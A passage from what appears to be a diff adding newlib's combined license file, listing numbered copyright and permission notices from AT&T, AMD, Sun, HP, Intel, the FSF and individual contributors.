copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of the University nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGE. + +(3) David M. Gay (AT&T 1991, Lucent 1998) + +The author of this software is David M. Gay. + +Copyright (c) 1991 by AT&T. + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR AT&T MAKES ANY +REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY +OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +------------------------------------------------------------------- + +The author of this software is David M. Gay. + +Copyright (C) 1998-2001 by Lucent Technologies +All Rights Reserved + +Permission to use, copy, modify, and distribute this software and +its documentation for any purpose and without fee is hereby +granted, provided that the above copyright notice appear in all +copies and that both that the copyright notice and this +permission notice and warranty disclaimer appear in supporting +documentation, and that the name of Lucent or any of its entities +not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY +SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF +THIS SOFTWARE. + + +(4) Advanced Micro Devices + +Copyright 1989, 1990 Advanced Micro Devices, Inc. + +This software is the property of Advanced Micro Devices, Inc (AMD) which +specifically grants the user the right to modify, use and distribute this +software provided this notice is not removed or altered. All other rights +are reserved by AMD. + +AMD MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO THIS +SOFTWARE. IN NO EVENT SHALL AMD BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL +DAMAGES IN CONNECTION WITH OR ARISING FROM THE FURNISHING, PERFORMANCE, OR +USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the 29K Technical Support Center at +800-29-29-AMD (800-292-9263) in the USA, or 0800-89-1131 in the UK, or +0031-11-1129 in Japan, toll free. The direct dial number is 512-462-4118. + +Advanced Micro Devices, Inc. +29K Support Products +Mail Stop 573 +5900 E. Ben White Blvd. +Austin, TX 78741 +800-292-9263 + +(5) + +(6) + +(7) Sun Microsystems + +Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + +Developed at SunPro, a Sun Microsystems, Inc. business. +Permission to use, copy, modify, and distribute this +software is freely granted, provided that this notice is preserved. + +(8) Hewlett Packard + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(9) Hans-Peter Nilsson + +Copyright (C) 2001 Hans-Peter Nilsson + +Permission to use, copy, modify, and distribute this software is +freely granted, provided that the above copyright notice, this notice +and the following disclaimer are preserved with no changes. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. + +(10) Stephane Carrez (m68hc11-elf/m68hc12-elf targets only) + +Copyright (C) 1999, 2000, 2001, 2002 Stephane Carrez (stcarrez@nerim.fr) + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(11) Christopher G. Demetriou + +Copyright (c) 2001 Christopher G. Demetriou +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(12) SuperH, Inc. + +Copyright 2002 SuperH, Inc. All rights reserved + +This software is the property of SuperH, Inc (SuperH) which specifically +grants the user the right to modify, use and distribute this software +provided this notice is not removed or altered. All other rights are +reserved by SuperH. + +SUPERH MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO +THIS SOFTWARE. IN NO EVENT SHALL SUPERH BE LIABLE FOR INDIRECT, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH OR ARISING FROM +THE FURNISHING, PERFORMANCE, OR USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the SuperH Support Center via +e-mail at softwaresupport@superh.com . + +SuperH, Inc. +405 River Oaks Parkway +San Jose +CA 95134 +USA + +(13) Royal Institute of Technology + +Copyright (c) 1999 Kungliga Tekniska Högskolan +(Royal Institute of Technology, Stockholm, Sweden). +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of KTH nor the names of its contributors may be + used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY KTH AND ITS CONTRIBUTORS ``AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KTH OR ITS CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR +BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(14) Alexey Zelkin + +Copyright (c) 2000, 2001 Alexey Zelkin +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(15) Andrey A. Chernov + +Copyright (C) 1997 by Andrey A. Chernov, Moscow, Russia. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(16) FreeBSD + +Copyright (c) 1997-2002 FreeBSD Project. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(17) S. L. Moshier + +Author: S. L. Moshier. + +Copyright (c) 1984,2000 S.L. Moshier + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, THE AUTHOR MAKES NO REPRESENTATION +OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS +SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +(18) Citrus Project + +Copyright (c)1999 Citrus Project, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(19) Todd C. Miller + +Copyright (c) 1998 Todd C. Miller +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(20) DJ Delorie (i386) +Copyright (C) 1991 DJ Delorie +All rights reserved. + +Redistribution, modification, and use in source and binary forms is permitted +provided that the above copyright notice and following paragraph are +duplicated in all such forms. + +This file is distributed WITHOUT ANY WARRANTY; without even the implied +warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +(21) Free Software Foundation LGPL License (*-linux* targets only) + + Copyright (C) 1990-1999, 2000, 2001 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Mark Kettenis , 1997. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + +(22) Xavier Leroy LGPL License (i[3456]86-*-linux* targets only) + +Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU Library General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Library General Public License for more details. + +(23) Intel (i960) + +Copyright (c) 1993 Intel Corporation + +Intel hereby grants you permission to copy, modify, and distribute this +software and its documentation. Intel grants this permission provided +that the above copyright notice appears in all copies and that both the +copyright notice and this permission notice appear in supporting +documentation. In addition, Intel grants this permission provided that +you prominently mark as "not part of the original" any modifications +made to this software or documentation, and that the name of Intel +Corporation not be used in advertising or publicity pertaining to +distribution of the software or the documentation without specific, +written prior permission. + +Intel Corporation provides this AS IS, WITHOUT ANY WARRANTY, EXPRESS OR +IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Intel makes no guarantee or +representations regarding the use of, or the results of the use of, +the software and documentation in terms of correctness, accuracy, +reliability, currentness, or otherwise; and you rely on the software, +documentation and results solely at your own risk. + +IN NO EVENT SHALL INTEL BE LIABLE FOR ANY LOSS OF USE, LOSS OF BUSINESS, +LOSS OF PROFITS, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES +OF ANY KIND. IN NO EVENT SHALL INTEL'S TOTAL LIABILITY EXCEED THE SUM +PAID TO INTEL FOR THE PRODUCT LICENSED HEREUNDER. + +(24) Hewlett-Packard (hppa targets only) + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(25) Henry Spencer (only *-linux targets) + +Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved. +This software is not subject to any license of the American Telephone +and Telegraph Company or of the Regents of the University of California. + +Permission is granted to anyone to use this software for any purpose on +any computer system, and to alter it and redistribute it, subject +to the following restrictions: + +1. The author is not responsible for the consequences of use of this + software, no matter how awful, even if they arise from flaws in it. + +2. The origin of this software must not be misrepresented, either by + explicit claim or by omission. Since few users ever read sources, + credits must appear in the documentation. + +3. Altered versions must be plainly marked as such, and must not be + misrepresented as being the original software. Since few users + ever read sources, credits must appear in the documentation. + +4. This notice may not be removed or altered. + +(26) Mike Barcroft + +Copyright (c) 2001 Mike Barcroft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(27) Konstantin Chuguev (--enable-newlib-iconv) + +Copyright (c) 1999, 2000 + Konstantin Chuguev. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + iconv (Charset Conversion Library) v2.0 + +(28) Artem Bityuckiy (--enable-newlib-iconv) + +Copyright (c) 2003, Artem B. Bityuckiy, SoftMine Corporation. +Rights transferred to Franklin Electronic Publishers. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(29) IBM, Sony, Toshiba (only spu-* targets) + + (C) Copyright 2001,2006, + International Business Machines Corporation, + Sony Computer Entertainment, Incorporated, + Toshiba Corporation, + + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the names of the copyright holders nor the names of their + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +(30) - Alex Tatmanjants (targets using libc/posix) + + Copyright (c) 1995 Alex Tatmanjants + at Electronni Visti IA, Kiev, Ukraine. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(31) - M. Warner Losh (targets using libc/posix) + + Copyright (c) 1998, M. Warner Losh + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(32) - Andrey A. Chernov (targets using libc/posix) + + Copyright (C) 1996 by Andrey A. Chernov, Moscow, Russia. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary 